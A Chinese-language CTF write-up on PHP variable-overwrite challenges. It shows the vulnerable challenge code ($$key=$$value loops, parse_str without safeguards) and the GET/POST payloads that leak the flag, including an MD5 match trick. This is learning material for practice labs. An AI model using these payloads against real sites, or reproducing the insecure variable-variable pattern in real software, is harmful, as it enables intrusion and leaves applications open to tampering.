前言
记录web的题目wp,慢慢变强,铸剑。
变量覆盖web105
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
|
highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces);
|
这里利用的是变量覆盖,关键点在$$key=$$value,这里把$key的值当作了变量
1 2 3 4
|
我们传入error=flag $key=error $value=flag $$key=$$value就变成了$error=$flag,就成功使$flag覆盖了$error
|
所以这里就可以利用变量覆盖进行获取flag
payload
第一种:
通过$error输出我们的flag,即转入一个gylq的变量接收flag值,然后再第二个循环将gylq的值赋值给error,就可以达到die输出flag了
1 2 3 4 5
|
GET ?gylq=flag
POST error=gylq
|
第二种:
通过$suces输出我们的flag,即给suces赋值flag,然后第二个循环传入flag为key赋值为空,就可以达到不执行die的目的
1 2 3 4 5
|
GET ?suces=flag
POST flag=
|
变量覆盖web107
1 2 3 4 5 6 7 8 9 10 11 12 13 14
|
highlight_file(__FILE__); error_reporting(0); include("flag.php");
if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; }
}
|
这题考的是parse_str(string,array)的变量覆盖利用
参数 |
描述 |
string |
必需。规定要解析的字符串。 |
array |
可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。 |
举例
1 2 3 4 5
|
$a = "name=gylq&age=10"; parse_str($a,$b); echo $b['name'].','.$b['10'];
|
payload
1 2 3 4 5
|
GET v3=1
POST v1=flag=c4ca4238a0b923820dcc509a6f75849b
|
FROM:gylq.gitee Author:孤桜懶契
评论